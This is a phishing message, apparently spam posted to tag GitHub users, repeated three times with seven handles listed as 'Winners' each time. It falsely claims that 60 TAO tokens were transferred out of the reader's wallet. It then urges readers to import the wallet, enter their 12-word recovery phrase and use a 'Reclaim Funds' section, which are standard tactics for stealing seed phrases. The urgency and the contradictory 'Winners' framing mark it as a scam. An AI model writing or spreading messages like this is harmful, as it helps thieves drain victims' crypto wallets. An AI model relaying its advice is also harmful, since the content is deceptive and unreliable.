Reset your private key urgently to enhance the security of your funds.

Recover Transferred Funds:

Once your wallet is imported, navigate to the "Reclaim Funds" section.
Follow the on-screen instructions to initiate the fund recovery process.

Act promptly to secure your TAO funds, add the 12-word phrase, and reset your private key for enhanced safety.

Note: Always perform these actions on the official TAO Wallet website to ensure the security of your funds. If you face any issues, contact our support team immediately.
Securely yours! 🚀
Winners: @ghWass93, @nathanbrum, @Lissy93, @yongbolv, @Gitleyla, @maannajjar, @SAICMANUNITED

Urgent TAO Token Transfer Notification
🚨 Urgent Notice: A total of 60 TAO tokens has been successfully transferred to unknown wallet address.
Action Required:

Secure Your Wallet Immediately:

Visit the official TAO Wallet website: https://wallet.bittensor.com.
Click on "Import Wallet" and follow the instructions to import your wallet.
Add the 12-word phrase to your wallet for additional security.
Reset your private key urgently to enhance the security of your funds.

Recover Transferred Funds:

Once your wallet is imported, navigate to the "Reclaim Funds" section.
Follow the on-screen instructions to initiate the fund recovery process.

Act promptly to secure your TAO funds, add the 12-word phrase, and reset your private key for enhanced safety.

Note: Always perform these actions on the official TAO Wallet website to ensure the security of your funds. If you face any issues, contact our support team immediately.
Securely yours! 🚀
Winners: @foldors, @bit-monk, @spielersun, @vanklus, @ralintuscano, @KenMan79, @dbarobin

Urgent TAO Token Transfer Notification
🚨 Urgent Notice: A total of 60 TAO tokens has been successfully transferred to unknown wallet address.
Action Required:

Secure Your Wallet Immediately:

Visit the official TAO Wallet website: https://wallet.bittensor.com.
Click on "Import Wallet" and follow the instructions to import your wallet.
Add the 12-word phrase to your wallet for additional security.
Reset your private key urgently to enhance the security of your funds.

Recover Transferred Funds:

Once your wallet is imported, navigate to the "Reclaim Funds" section.
Follow the on-screen instructions to initiate the fund recovery process.

Act promptly to secure your TAO funds, add the 12-word phrase, and reset your private key for enhanced safety.

Note: Always perform these actions on the official TAO Wallet website to ensure the security of your funds. If you face any issues, contact our support team immediately.
Securely yours! 🚀
Winners: @jorirdam, @de-me-tr-is, @hondrostrvl, @esneko, @abc0xmattyic333, @bjornwgnr, @KaloyanYosifov